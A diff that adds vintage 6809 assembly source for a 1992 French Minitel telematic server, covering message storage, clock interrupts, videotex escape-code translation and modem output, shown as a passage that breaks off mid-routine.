+       LDA    MINUT
+       LSLA
+       LSLA
+       LSLB
+       PSHS   CC
+       LSLB
+       RORA
+       PULS   CC
+       RORA
+       STA    ,Y+
+COMP1  LDA    ,X+
+       SUBA   #$20
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STB    ,Y+
+       DEC    ,S
+       BNE    COMP1
+       PULS   B
+       LDD    #$0801
+       STD    $6048
+       LDX    #POKE
+       STX    $604F
+       JSR    $E004
+       LDD    #$0482
+       STA    $6049
+       JSR    $E004
+       STB    $60CD
+       BRA    COMP3
+COMP2  LDA    #$FF
+       STA    $604E
+COMP3  BSR    DIROK
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+DIROK  LDY    #$C000
+       LDD    #$0820
+DIR0   STB    ,Y+
+       DECA
+       BNE    DIR0
+       RTS
+
+DECOMP PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$0F
+       STA    $E7E5
+       LDD    $604B
+       CMPA   #63
+       LBHI   DECO2
+       DECB
+       CMPB   #15
+       LBHI   DECO2
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       LDX    #TAMPON+1
+       STX    $604F
+       JSR    $E004
+       TST    $604E
+       LBNE   DECO3
+       BSR    DIROK
+       LDD    #$2804
+       PSHS   A
+       LDA    TAMPON
+       BEQ    DECO0
+       LEAX   128,X
+DECO0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    DECO0
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ADDA   #90
+       CMPA   #100
+       BLO    DAT2
+       SUBA   #100
+DAT2   STA    ,Y+
+       LDA    ,X+
+       ANDA   #$0F
+       STA    ,Y+
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #7
+       LDB    ,X
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #$3F
+       STA    ,Y+
+DECO1  LDA    ,X
+       LSRA
+       RORB
+       LSRA
+       RORB
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X+
+       ANDA   #3
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X++
+       ANDA   #15
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       LSRB
+       LSRB
+       ADDB   #$20
+       STD    ,Y++
+       DEC    ,S
+       BNE    DECO1
+       TFR    DP,A
+       STA    $E7E5
+       PULS   A
+       BRA    DECO3
+DECO2  LDA    #$FF
+       STA    $604E
+DECO3  LDA    #$82
+       STA    $60CD
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS   A,B,DP,CC,X,Y,U
+       LDA    #5
+       STA    $E7E5
+       LDD    $6AB2
+       CMPD   #0053
+       LBHI   FAFF5
+       LDA    #2
+       MUL
+       STD    $6AB2
+       LDA    #2
+       LDX    #$A000
+       LBSR   PREPA5
+       INC    $6AB3
+       LDA    #2
+       LDX    #$A200
+       LBSR   PREPA5
+       LDX    #$A000
+       LDY    #$A400
+       LDD    #0
+       STD    ,Y++
+       STD    ,Y++
+       LDD    #$0C14
+       STD    ,Y++
+       LDA    #25
+       STA    LIGNE
+NOUVLI DEC    LIGNE
+       BEQ    PRINT5
+       LDA    #40
+       STA    COLON
+OCTSUI LDA    ,X+
+       CMPX   #$A400
+       BHI    PRINT5
+       CMPA   #$0D
+       BNE    ESTAFF
+       LDB    ,X+
+       DEC    COLON
+       BMI    NOUVLI
+AFFD   LDD    #$0D0A
+       STD    ,Y++
+       BRA    NOUVLI
+ESTAFF CMPA   #32
+       BLO    OCTSUI
+       CMPA   #128
+       BLO    OCTAFF
+       CMPA   #161
+       BHI    OCTSUI
+       SUBA   #128
+       LDB    #3
+       MUL
+       LDU    #TABPC
+       LEAU   B,U
+       LDD    ,U++
+       STD    ,Y++
+       LDA    ,U
+OCTAFF DEC    COLON
+       BMI    OCTSUI
+       STA    ,Y+
+       BRA    OCTSUI
+
+PRINT5 LDU    #$A400
+       LDD    #$1F41
+       STA    -1,Y
+       STB    ,Y+
+       STB    ,Y+
+       LDA    $6AD6
+       CMPA   #1
+       LBEQ   COMBLE
+       LDB    #255
+       STB    ,Y++
+       TSTA
+       BNE    ECRAN
+ATTMOD LDA    $E7FE
+       BITA   #2
+       BEQ    ATTMOD
+       LDA    ,U+
+       BEQ    ATTMOD
+       BMI    FAFF5
+       STA    $E7FF
+       BRA    ATTMOD
+ECRAN  LDB    ,U+
+       BEQ    ECRAN
+       BMI    FAFF5
+       CMPB   #$13
+       BNE    ECOK
+       LDB    #$16
+ECOK   JSR    $E803
+       BRA    ECRAN
+
+FAFF5  PULS   A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA    $6048
+       STX    $604F
+       LDX    $6AB2
+       BMI    PB5
+       CMPX   #719
+       BHI    PB5
+       LDA    #2
+       STA    LIGNE
+AGIR5  LDA    #$D4
+       STA    $E7E7
+       LDX    $E000
+       CMPX   #$444B
+       BEQ    OK5
+       LDA    #$54
+       STA    $E7E7
+PB5    LDX    #$FFFF
+       STX    $6AB2
+       LEAS   2,S
+       PULS   A,B,DP,CC,X,Y,U,PC
+OK5    LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDX    $6AB2
+       LDA    #$FF
+TEST5  INCA
+       LEAX   -9,X
+       CMPX   #0
+       BPL    TEST5
+       LEAX   10,X
+       STX    $604B
+       PSHS   A
+       ANDA   #1
+       STA    $6049
+       PULS   A
+       LSRA
+       STA    $604B
+       JSR    $E004
+       LDA    #$54
+       STA    $E7E7
+       LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDA    $604E
+       BEQ    SOROK5
+       DEC    LIGNE
+       BEQ    SPB5
+       LDA    $6048
+       LDB    $6052
+       PSHS   A,B
+       CLR    $6052
+       CLR    $6054
+       LDD    #$D420
+       STA    $E7E7
+       STB    $6048
+       JSR    $E004
+       LDD    #$5401
+       STB    $6048
+       JSR    $E004
+       STA    $E7E7
+       PULS   A,B
+       STA    $6048
+       STB    $6052
+       LBRA   AGIR5
+SPB5   LDX    #999
+       STX    $6AB2
+SOROK5 RTS
+
+LIRE5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #2
+       LDX    #$9800
+       LBSR   PREPA5
+       LDD    #$0804
+       STD    $6048
+       LDD    #$1401
+       STD    $604B
+       JSR    $E004
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+ECRI5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #8
+       LDX    #$9800
+       LBSR   PREPA5
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+LIGNE  FCB    0
+COLON  FCB    0
+
+SAVPTR FCB    0,0
+
+PARA1  FCB    0
+PARA2  FCB    0
+PARA3  FCB    0
+PARA4  FCB    0
+
+TABPC  FCB    $1B,$48,32,$13,$48,$75
+       FCB    $13,$42,$65,$13,$43,$61
+       FCB    $13,$48,$61,$13,$41,$61
+       FCB    0,32,0,$13,$4B,$63
+       FCB    $13,$43,$65,$13,$48,$65
+       FCB    $13,$41,$65,$13,$48,$69
+       FCB    $13,$43,$69,$1B,$5D,32
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $1B,$4C,32,$1B,$4D,32
+       FCB    $13,$43,$6F,$13,$48,$6F
+       FCB    $13,$41,$6F,$13,$43,$75
+       FCB    $13,$41,$75,0,32,0,0,32,0
+       FCB    0,32,0,$1B,$49,32,22,23,0
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $13,$42,$61,$1B,$5C,32
+
+TABLE  FCB    62,63,60,61,58,59,56,57
+       FCB    54,55,52,53,50,51,48,49
+       FCB    46,47,44,45,42,43,40,41
+       FCB    38,39,36,37,34,35,32,33
+       FCB    30,31,28,29,26,27,24,25
+       FCB    22,23,19,21,17,18,15,16
+       FCB    13,14,11,12,9,10,7,8
+       FCB    5,6,3,4,1,2,20,0
+
+ZONE   FCB    $3B,$3A,$AA,$26,$48,$38
+       FCB    $38,$30,$30,$2C,0
+
+       FCB    $3A,$AB,$23,$22,0
+
+       FCB    $23,$31,$2C,$22,0
+
+       FCB    $22,$3B,$3A,$AB,$23,$23,0
+
+POKE   RMB    300
+
+FIN    FCB    0
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM
new file mode 100644
index 0000000..c3c79fd
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI2.ASM
@@ -0,0 +1,1464 @@
+***************************************
+*                                     *
+* ***** ***** *   Serveur Télématique *
+* *       *       Interactif ver. 1.4 *
+* *       *   * ***    * du 02/05/92  *
+* *****   *   *   *   **    A.S.C.I.  *
+*     *   *   * ***    *    NANCY     *
+*     *   *   * *      *    1991/1992 *
+* *****   *   * *** * ***   Copyright *
+*                                     *
+***************************************
+
+
+       ORG    $8800
+
+TAMPON RMB    $180
+
+HEURE  FCB    0
+MINUT  FCB    0
+SECON  FCB    0
+DIXIE  FCB    0
+FLGPAL FCB    0
+
+LIRE   JMP    DECOMP  lit et décompacte
+     * un message depuis le secteur 4,P
+     * ([$604B]),S([$604C]) pour la par-
+     * tie 0/1 selon la valeur de TAMPON
+     * le message est en clair sur les
+     * 127 premiers octets du secteur
+     * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE  JMP    SAUV    cherche une place
+     * libre sur le disque (optimisée),
+     * et l'inscrit en $604B/C et TAMPON
+     * puis saute à ECRIRE.
+
+ECRIRE JMP    COMPAC  compacte le texte
+     * écrit en TAMPON+1 et l'enregistre
+     * sur les disks 1 puis 4 en fonct.
+     * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP    CHERCH  recherche tous les
+     * messages pour le No inscrit en
+     * TAMPON et en dresse la liste à
+     * partir de $A002 sur la bank cou-
+     * rante (2octets=Piste & Sect/Part)
+     * nombre de messages en $A000
+
+PAGTEL JMP    PTEL    affiche un fichier
+     * .TEL dont le nom est en $624F
+
+LIT5   JMP    LIRE5   lit le secteur 5'
+     * de no contenu en $6AB2/3 (N%)
+
+ECR5   JMP    ECRI5   écrit (voir haut)
+
+AFF5   JMP    AFFIC5  affiche une page
+     * type tel depuis le 5'1/4
+
+INIT   PSHS   A,B,CC,DP,X,Y,U
+       CLR    $87FE
+       CLR    $87FF
+       LDX    $6027
+       STX    ANCTI+1
+       LDX    #TIMER
+       STX    $6027
+       LDA    $6019
+       ORA    #$20
+       STA    $6019
+       LDX    #INTER
+       STX    $67C1
+       LDA    #$7E
+       STA    $67C0
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS   A,CC
+       BRA    HP
+HORLOG PSHS   A,CC
+       LDA    #10
+       STA    DIXIE
+       INC    SECON
+       LDA    SECON
+       CMPA   #60
+       BLO    PALETT
+HP     CLR    SECON
+       INC    MINUT
+       LDA    MINUT
+       CMPA   #60
+       BLO    PALETT
+       CLR    MINUT
+       INC    HEURE
+       LDA    HEURE
+       CMPA   #24
+       BLO    PALETT
+       CLR    HEURE
+       INC    $607C
+       LDA    $607C
+       CMPA   #32
+       BEQ    MOISUI
+       CMPA   #31
+       BNE    FEVBIS
+       LDA    $607D
+       CMPA   #4
+       BEQ    MOISUI
+       CMPA   #6
+       BEQ    MOISUI
+       CMPA   #9
+       BEQ    MOISUI
+       CMPA   #11
+       BEQ    MOISUI
+       BRA    PALETT
+FEVBIS CMPA   #30
+       BNE    FEVNOR
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    MOISUI
+       BRA    PALETT
+FEVNOR CMPA   #29
+       BNE    PALETT
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    PALETT
+MOISUI LDA    #1
+       STA    $607C
+       INC    $607D
+       LDA    $607D
+       CMPA   #13
+       BNE    PALETT
+       LDA    #1
+       STA    $607D
+       INC    $607E
+PALETT PULS   A,CC,PC
+
+TIMER  PSHS   A,CC
+       DEC    DIXIE
+       BNE    SORTIM
+       PSHS   B,X,Y
+       LBSR   HORLOG
+       LDX    #PAL
+       LDA    $6AD6
+       CMPA   #1
+       BNE    SORPAL
+       LDA    FLGPAL
+       INCA
+       ANDA   #1
+       STA    FLGPAL
+       BEQ    PAL0
+       LEAX   16,X
+PAL0   TST    $E7E7
+       BPL    PAL0
+PAL1   TST    $E7E7
+       BMI    PAL1
+       LDY    #$200
+PAL2   LEAY   -1,Y
+       BNE    PAL2
+       LDY    #$E7DA
+       CLR    1,Y
+       LDB    #32
+PAL3   LDA    ,X+
+       STA    ,Y
+       DECB
+       BNE    PAL3
+SORPAL PULS   B,X,Y
+SORTIM PULS   A,CC
+ANCTI  JMP    $FFFF
+
+PAL    FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $0000,$0000,$0000,$0000
+
+INTER  PSHS   CC,X
+       CMPA   #$AB    =PRINT
+       BNE    QUIT
+       LDX    $61C7
+       LDX    1,X
+       CMPX   #$2330  APPEL EMISSION
+       BEQ    MODEM         CANAL 0
+       CMPX   #$2322  RETOUR D'EMISSION
+       BEQ    PRINT
+       CMPX   #$2323  EMISSION CANAL 1
+       BNE    QUIT
+       LDX    SAVPTR
+       STX    $61C7
+QUIT   PULS   CC,X,PC
+
+MODEM  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDX    #ZONE
+       LDY    #POKE
+       BSR    COPIE
+       LDX    $61C7
+       LEAX   4,X
+       CLRB
+AUTRE  LDA    ,X+
+       BEQ    M2
+       CMPA   #$22
+       BNE    M0
+       COMB
+M0     TSTB
+       BNE    M1
+       CMPA   #$3A
+       BEQ    M2
+M1     STA    ,Y+
+       BRA    AUTRE
+M2     LEAX   -3,X
+       LDA    1,X
+       CMPA   #$3B
+       BNE    ERROR
+       STX    SAVPTR
+       LDX    #ZONE+11
+       LEAY   -1,Y
+       BSR    COPIE
+       LDX    #POKE-1
+       STX    $61C7
+       LDX    #TAMPON
+BLANC  CLR    ,X+
+       CMPX   #TAMPON+300
+       BLO    BLANC
+ERROR  PULS   A,B,CC,DP,X,Y,U,PC
+
+COPIE  LDA    ,X+
+       BEQ    FINCOP
+       STA    ,Y+
+       BRA    COPIE
+FINCOP RTS
+
+PRINT  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDY    #POKE-1
+       STY    $61C7
+       LEAY   1,Y
+       LDX    #ZONE+16
+       BSR    COPIE
+       LDX    #TAMPON
+       LDA    $6AD6
+       CMPA   #2
+       BNE    MODIF
+       CLR    ,Y+
+       CLR    ,Y+
+MODIF  LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ escape
+       BEQ    ESCAPE
+       CMPA   #$16
+       BNE    CARAC
+       LDB    $6AD6
+       CMPB   #1
+       BEQ    CARAC
+       ADDA   #3
+CARAC  STA    ,Y+
+       BRA    MODIF
+
+ESCSUI LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A
+       BEQ    ESC0
+       CMPA   #$5C
+       BNE    ESCSUI
+       BRA    MODIF
+
+ESCAPE LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ si \\ alors \
+       BEQ    CARAC
+       BRA    ESC1
+ESC0   LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ sortie ESCAPE
+       BEQ    MODIF
+ESC1   CMPA   #$41    A (ATTRB)
+       BNE    ESC2
+       LBSR   PARA
+       LDB    $6A58
+       LDU    #PARA1
+       LDA    ,U+
+       BMI    ATT2
+       BEQ    ATT1
+       ORB    #2
+       BRA    ATT2
+ATT1   ANDB   #1
+ATT2   TST    ,U+
+       BMI    ATT4
+       BEQ    ATT3
+       ORB    #1
+       BRA    ATT4
+ATT3   ANDB   #2
+ATT4   ANDB   #3
+       STB    $6A58
+       ADDB   #$4C
+       LDA    #$1B
+       STD    ,Y++
+       LDB    ,U+
+       BMI    ATT7
+       ANDB   #1
+       STB    $6AAC
+       BEQ    ATT5
+       LDB    #$58
+       BRA    ATT6
+ATT5   LDB    #$5F
+ATT6   STD    ,Y++
+ATT7   LDB    ,U+
+       BMI    ATT8
+       LBRA   LIGNA
+
+ESC2   CMPA   #$42    B (Beep)
+       BNE    ESC3
+       LDB    #7
+       STB    ,Y+
+ATT8   LBRA   ESCSUI
+
+ESC3   CMPA   #$43    C (Couleurs)
+       BNE    ESC4
+       LBSR   PARA
+       LDU    #PARA1
+       LDB    ,U+
+       BMI    CO0
+       ANDB   #$7
+       STB    $6A66
+       ADDB   #$40
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO00
+       TST    $6A9E
+       BEQ    CO00
+       ADDB   #$30
+CO00   LDA    #$1B
+       STD    ,Y++
+CO0    LDB    ,U+
+       BMI    CO1
+       ANDB   #$7
+       STB    $6A7B
+       ADDB   #$50
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO10
+       TST    $6A9E
+       BEQ    CO10
+       ADDB   #$28
+CO10   LDA    #$1B
+       STD    ,Y++
+CO1    LDB    ,U+
+       BMI    CO2
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+CO2    LDB    ,U+
+       BMI    CO3
+       ANDB   #1
+       LBRA   KLI1
+CO3    LBRA   ESCSUI
+
+ESC4   CMPA   #$44    D=Démasquage total
+       BNE    ESC5
+       LDD    #$1B23
+       STD    ,Y++
+       LDD    #$205F
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESC5   CMPA   #$45    E=Effacement
+       BNE    ESC6
+       LDA    #$0C
+       STA    ,Y+
+       LBRA   ESCSUI
+
+ESC6   CMPA   #$46    F=Masquage total
+       BNE    ESC7
+       LDD    #$1B23
+       STD    ,Y++
+       LDD    #$2058
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESC7   CMPA   #$47    G=Générateur de
+       BNE    ESC8    caractères
+       LBSR   PARA
+       LDA    PARA1
+       ANDA   #1
+       STA    $6A82
+       BNE    GEN0
+       LDA    #$0F
+       BRA    GEN1
+GEN0   LDA    #$0E
+GEN1   STA    ,Y+
+ESC7F  LBRA   ESCSUI
+
+ESC8   CMPA   #$48
+       BNE    ESC9
+       LDA    #$1E
+       BRA    GEN1
+
+ESC9   CMPA   #$49    I=Insertion
+       BNE    ESC69
+       LDA    ,X
+       CMPA   #$4C    L=Ligne
+       BNE    ESC91
+       LDD    #$1B5B
+       STD    ,Y++
+       LDB    #$4C
+       STB    ,Y+
+       BRA    ESC94
+ESC91  CMPA   #$43    C=Caractère début
+       BNE    ESC92
+       LDB    #$68
+       BRA    ESC93
+ESC92  CMPA   #$46    F=Fin d'insertion
+       BNE    ESC7F   de caractères
+       LDB    #$6C
+ESC93  LDA    #$1B
+       STA    ,Y+
+       LDA    #$5B
+       STA    ,Y+
+       LDA    #$34
+       STD    ,Y++
+ESC94  LEAX   1,X
+       BRA    ESC7F
+
+ESC69  CMPA   #$69
+       BNE    ESCB
+       LDB    $6A90
+       ANDB   #1
+       INCB
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESCB   CMPA   #$4B    K=Klignotement
+       BNE    ESCC
+       LDB    $6A9E
+       ANDB   #1
+       INCB
+       ANDB   #1
+KLI1   STB    $6A9E
+       LDA    $6AD6
+       ANDA   #1
+       BNE    KLITO
+       SUBB   #$49
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+KLI2   LBRA   ESCSUI
+KLITO  LDA    #$1B
+       LDB    $6A66
+       ANDB   #7
+       ADDB   #$40
+       TST    $6A9E
+       BEQ    KLIT1
+       ADDB   #$30
+KLIT1  STD    ,Y++
+       LDB    $6A7B
+       ANDB   #$7
+       ADDB   #$50
+       TST    $6A9E
+       BEQ    KLIT2
+       ADDB   #$28
+KLIT2  STD    ,Y++
+       BRA    KLI2
+
+ESCC   CMPA   #$4C    L=Locate
+       BNE    ESC4D
+       LBSR   PARA
+       LDU    #PARA1
+       LDD    ,U++
+       CMPD   #$FFFF
+       BEQ    LO4
+       PSHS   A
+       TSTB
+       BPL    LO0
+       LDB    $6B00
+LO0    CMPB   #25
+       BLO    LO1
+       CLRB
+LO1    STB    $6B00
+       ADDB   #$40
+       LDA    #$1F
+       STD    ,Y++
+       PULS   B
+       TSTB
+       BPL    LO2
+       LDB    $6AF9
+LO2    CMPB   #40
+       BLS    LO3
+       CLRB
+LO3    STB    $6AF9
+       ADDB   #$41
+       STB    ,Y+
+LO4    LDB    ,U+
+       BMI    LO7
+       ANDB   #1
+       STB    $6AEB
+       BEQ    LO5
+       LDB    #$11
+       BRA    LO6
+LO5    LDB    #$14
+LO6    STB    ,Y+
+LO7    LDB    ,U+     LIGNAGE EN MODE
+       BMI    LO8     GRAPH SOULIGNAGE
+LIGNA  ANDB   #1      EN MODE NORMAL
+       STB    $6AA5
+       LDA    $6AD6
+       ANDA   #1
+       BNE    LO8     Lignage SIMUL
+       ADDB   #$59
+       LDA    #$1B
+       STD    ,Y++
+LO8    LBRA   ESCSUI
+
+ESC4D  CMPA   #$4D    M=Mode
+       LBNE   ESC4E
+       LDA    ,X
+       CMPA   #$53    S=Scroll
+       BNE    ESC4D1
+       LDB    #$69
+       BRA    ESC4D2
+ESC4D1 CMPA   #$50    P=Page
+       BNE    ESC4D3
+       LDB    #$6A
+ESC4D2 LEAX   1,X
+       LDA    #$1B
+       STA    ,Y+
+       LDA    #$3A
+       STD    ,Y++
+       LDA    #$43
+       STA    ,Y+
+ESC4D3 LBRA   ESCSUI
+
+ESC4E  CMPA   #$4E    N=nouvelle ligne
+       BNE    ESC52
+       LDD    #$0A0D
+       STD    ,Y++
+       LDB    $6A66
+       ADDB   #$40
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    EO00
+       TST    $6A9E
+       BEQ    EO00
+       ADDB   #$30
+EO00   LDA    #$1B
+       STD    ,Y++
+       LDB    $6A7B
+       ADDB   #$50
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    EO10
+       TST    $6A9E
+       BEQ    EO10
+       ADDB   #$28
+EO10   LDA    #$1B
+       STD    ,Y++
+       LDB    $6A58
+       ADDB   #$4C
+       STD    ,Y++
+       LDA    #$20
+       STA    ,Y+
+E020   BRA    ESC4D3
+
+ESC52  CMPA   #$52    R=Répétition
+       BNE    ESC53
+       LBSR   PARA
+       LDB    PARA1
+       CMPB   #63
+       BHI    E020
+       LDA    #$12    rep
+       ADDB   #$40
+       STD    ,Y++
+       BRA    E020
+
+ESC53  CMPA   #$53    S=Suppression
+       BNE    ESC58
+       LDA    ,X
+       CMPA   #$4C    Ligne
+       BNE    ESC531
+       LDB    #$4D
+       BRA    ESC532
+ESC531 CMPA   #$43    Caractère
+       BNE    ESC4D3
+       LDB    #$50
+ESC532 LEAX   1,X
+       LDA    #$1B
+       STA    ,Y+
+       LDA    #$5B
+       STD    ,Y++
+       BRA    ESC4D3
+
+ESC58  CMPA   #$58    X=effacement de
+       BNE    ESC5E   la fin de la ligne
+       LDA    #$18
+       STA    ,Y+
+       BRA    E020
+
+ESC5E  CMPA   #$5E    ^ Déplacements
+       BNE    ESCN
+DEA    LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A    :
+       BEQ    DE0
+       CMPA   #$5C    \
+       BNE    DE1
+DE0    LEAX   -1,X
+       LBRA   ESCSUI
+DE1    ANDA   #$5F
+       CMPA   #$42    B=bas
+       BNE    DE3
+       LDA    #10
+       BRA    DEX
+DE3    CMPA   #$44    D=droite
+       BNE    DE4
+       LDA    #9
+       BRA    DEX
+DE4    CMPA   #$47    G=gauche
+       BNE    DE5
+       LDA    #8
+       BRA    DEX
+DE5    CMPA   #$48    H=haut
+       BNE    DE6
+       LDA    #11
+       BRA    DEX
+DE6    CMPA   #$4E    N=Nouvelle ligne
+       BNE    DE8
+DE7    LDA    #10
+DEX    STA    ,Y+
+       BRA    DEA
+DE8    CMPA   #$52    R=Retour chariot
+       BNE    DEA
+       LDA    #13
+       STA    ,Y+
+       BRA    DE7
+
+ESCN   LBRA   ESC0
+
+
+FINMOD LDX    #POKE+4
+       LDA    $6AD6
+       CMPA   #2
+       BEQ    AFMINI  Affichage MINITEL
+AFTOMO CLR    ,Y      Affichage TO+MODEM
+AFTM0  LDB    ,X+
+       BEQ    EXITEL
+       TST    $6AD6
+       BNE    AFTO
+AFTM1  LDA    $E7FE
+       BITA   #2
+       BEQ    AFTM1
+       STB    $E7FF
+       BRA    AFTM0
+AFTO   JSR    $E803
+       BRA    AFTM0
+AFMINI LBSR   TEL
+EXITEL LDY    #POKE
+       LDX    #ZONE+22
+FINMAX LBSR   COPIE
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+PARA   PSHS   Y,U     Recherche des
+       LDY    #PARA1  paramètres (4 max)
+       LDD    #$FFFF
+       STD    ,Y
+       STD    2,Y
+       CLRB
+
+PAR0   LDA    ,X+
+       BEQ    SORPAR
+       CMPA   #$3A    :
+       BEQ    AUTPAR
+       CMPA   #$5C    \
+       BEQ    AUTPAR
+       CMPA   #$2C    ,
+       BEQ    AUTPAR
+       CMPA   #$30    0
+       BLO    AUTPAR
+       CMPA   #$39    9
+       BHI    VAR
+       SUBA   #$30
+       LDB    ,Y
+       BPL    PAR1
+       CLRB
+       STB    ,Y
+PAR1   ASLB
+       ASLB
+       ASLB
+       ADDB   ,Y
+       ADDB   ,Y
+       STB    ,Y
+       ADDA   ,Y
+       STA    ,Y
+       BRA    PAR0
+
+VAR    CMPA   #$41    A
+       BLO    AUTPAR
+       CMPA   #$5A    Z
+       BLS    VAR0
+       CMPA   #$61    a
+       BLO    AUTPAR
+       CMPA   #$7A    z
+       BHI    AUTPAR
+       SUBA   #$20
+VAR0   SUBA   #$41
+       STA    ,Y
+       ASLA
+       ASLA
+       ASLA
+       SUBA   ,Y
+       LDU    #$6A58
+       TFR    A,B
+       CLRA
+       LEAU   D,U
+       LDB    ,U
+       STB    ,Y
+       BRA    PAR0
+
+AUTPAR CMPA   #$2C
+       BNE    SORPAR
+       LEAY   1,Y
+       CMPY   #PARA4
+       BHI    SORPAR
+       CLRB
+       BRA    PAR0
+
+SORPAR LEAX   -1,X
+       PULS   U,Y,PC
+
+PTEL   PSHS   U,Y,X,DP,B,A,CC
+       LDD    #$1003
+       STA    $624B
+       JSR    $EC0C
+       LDX    #$A000
+       TFR    X,Y
+       CLR    ,Y+
+       CLR    ,Y+
+       LDA    #$61
+       TFR    A,DP
+INPUT  LDB    #5
+       JSR    $EC0C
+       LDA    $6AD6
+       BNE    PT1
+PT0    LDA    $E7FE
+       BITA   #2
+       BEQ    PT0
+       LDA    <$96
+       STA    $E7FF
+       BRA    PT2
+PT1    LDA    <$96
+       STA    ,Y+
+       CMPY   #$DFFF
+       BHI    CPTEL
+PT2    TST    <$78
+       BEQ    INPUT
+CPTEL  LEAY   -1,Y
+       LDB    #6
+       JSR    $EC0C
+       LDA    $6AD6
+       BEQ    FPTEL
+       CMPA   #2
+       BEQ    COMBLE
+       LDB    #$FF
+       STB    ,Y+
+PT3    LDB    ,X+
+       BMI    FPTEL
+       CMPB   #19
+       BNE    PT4
+       LDB    #22
+PT4    JSR    $E803
+       BRA    PT3
+FPTEL  PULS   U,Y,X,DP,B,A,CC,PC
+
+TEL    PSHS   U,Y,X,DP,B,A,CC
+COMBLE LDD    #$1B3A
+       STD    ,Y++
+       LDD    #$6AFE
+       STD    ,Y++
+       LDD    #$E7FD
+       TFR    A,DP
+       STB    <$C2
+       TFR    X,U
+       LBSR   ROUT1
+       LDX    #$1000
+TEMP1  LEAX   -1,X
+       BNE    TEMP1
+       CLRB
+       ORCC   #$50
+TOMI0  LDA    #$07
+       STA    ,S
+       BSR    ROUT1
+       LDX    #$0060
+       STX    <$C6
+       LDA    #$A2
+       STA    <$C5
+       CLRA
+       BSR    ROUT2
+TOMI1  LSRB
+       BCC    TOMI2
+       BSR    ROUT1
+       INCA
+       BRA    TOMI3
+TOMI2  BSR    ROUT2
+TOMI3  DEC    ,S
+       BNE    TOMI1
+       BITA   #$01
+       BNE    TOMI4
+       BSR    ROUT2
+       BRA    TOMI5
+TOMI4  BSR    ROUT1
+TOMI5  LDB    ,U+
+       BPL    TOMI0
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+ROUT1  PSHS   X,A
+       LDA    <$C5
+       ORA    #$80
+       BRA    TOMI6
+ROUT2  PSHS   X,A
+       LDA    <$C5
+       ANDA   #$7F
+       BRA    TOMI6
+TOMI6  STA    <$C5
+       LDX    #$0061
+TEMP2  LEAX   -1,X
+       BNE    TEMP2
